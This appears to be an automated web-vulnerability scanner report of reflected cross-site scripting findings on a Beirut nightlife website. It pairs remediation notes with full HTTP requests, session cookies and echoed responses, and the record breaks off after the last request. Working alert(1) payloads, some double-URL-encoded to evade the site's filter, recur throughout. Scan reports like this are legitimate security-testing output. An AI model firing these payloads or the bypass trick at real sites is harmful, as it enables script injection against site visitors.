The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 709e2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b037f0a052 was submitted in the REST URL parameter 4. This input was echoed as 709e2"><script>alert(1)</script>2b037f0a052 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Gemmayzeh/Godot/85709e2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b037f0a052 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 09:48:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=85709e2"><script>alert(1)</script>2b037f0a052&randstyle=blue"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a51e%2527%253balert%25281%2529%252f%252ff576ccc308a was submitted in the REST URL parameter 4. This input was echoed as 8a51e';alert(1)//f576ccc308a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Gemmayzeh/Godot/858a51e%2527%253balert%25281%2529%252f%252ff576ccc308a HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 09:48:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Index'; var initfacebox=''; var contactid='858a51e';alert(1)//f576ccc308a'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f9c0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee0172335a8d was submitted in the REST URL parameter 4. This input was echoed as 4f9c0"><script>alert(1)</script>e0172335a8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Gemmayzeh/Joe-Penas/914f9c0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee0172335a8d HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 10:12:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=914f9c0"><script>alert(1)</script>e0172335a8d&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e1d4%2527%253balert%25281%2529%252f%252fe8962f00d7e was submitted in the REST URL parameter 4. This input was echoed as 5e1d4';alert(1)//e8962f00d7e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Gemmayzeh/Joe-Penas/915e1d4%2527%253balert%25281%2529%252f%252fe8962f00d7e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 10:15:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Index'; var initfacebox=''; var contactid='915e1d4';alert(1)//e8962f00d7e'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77985%2527%253balert%25281%2529%252f%252ff4366c598f1 was submitted in the REST URL parameter 4. This input was echoed as 77985';alert(1)//f4366c598f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Hamra/Li-Beirut/188577985%2527%253balert%25281%2529%252f%252ff4366c598f1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 09:54:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Index'; var initfacebox=''; var contactid='188577985';alert(1)//f4366c598f1'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 739ea%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee9ee313d100 was submitted in the REST URL parameter 4. This input was echoed as 739ea"><script>alert(1)</script>e9ee313d100 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Hamra/Li-Beirut/1885739ea%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee9ee313d100 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 09:53:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=1885739ea"><script>alert(1)</script>e9ee313d100&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cf766%2527%253balert%25281%2529%252f%252fdab6e86b190 was submitted in the REST URL parameter 4. This input was echoed as cf766';alert(1)//dab6e86b190 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Karantina/The-Library/113cf766%2527%253balert%25281%2529%252f%252fdab6e86b190 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 10:09:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Index'; var initfacebox=''; var contactid='113cf766';alert(1)//dab6e86b190'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 499fc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee13cecdbede was submitted in the REST URL parameter 4. This input was echoed as 499fc"><script>alert(1)</script>e13cecdbede in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Nightlife/Karantina/The-Library/113499fc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee13cecdbede HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 10:08:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=113499fc"><script>alert(1)</script>e13cecdbede&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 490b3"><a>c6bc1c1db89 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Nightlife490b3"><a>c6bc1c1db89/Karaoke-Lounges/8094927980 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:24:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59614
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Nightlife490b3"><a>c6bc1c1db89"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aa742'-alert(1)-'1119fa96d9b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlifeaa742'-alert(1)-'1119fa96d9b/Karaoke-Lounges/8094927980 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:33:24 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59910
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Nightlifeaa742'-alert(1)-'1119fa96d9b/Karaoke-Lounges'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a1d11'-alert(1)-'19f394ddeac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife/Karaoke-Loungesa1d11'-alert(1)-'19f394ddeac/8094927980 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:37:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58028
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Nightlife/Karaoke-Loungesa1d11'-alert(1)-'19f394ddeac'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68cce"><a>358e2b3d9f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Nightlife68cce"><a>358e2b3d9f2/Lounges/9663063907 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:17:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60025
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Nightlife68cce"><a>358e2b3d9f2"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3604c'-alert(1)-'a12939d24e8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife3604c'-alert(1)-'a12939d24e8/Lounges/9663063907 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:24:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Nightlife3604c'-alert(1)-'a12939d24e8/Lounges'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dbf60'-alert(1)-'bf7ec8f366e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife/Loungesdbf60'-alert(1)-'bf7ec8f366e/9663063907 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
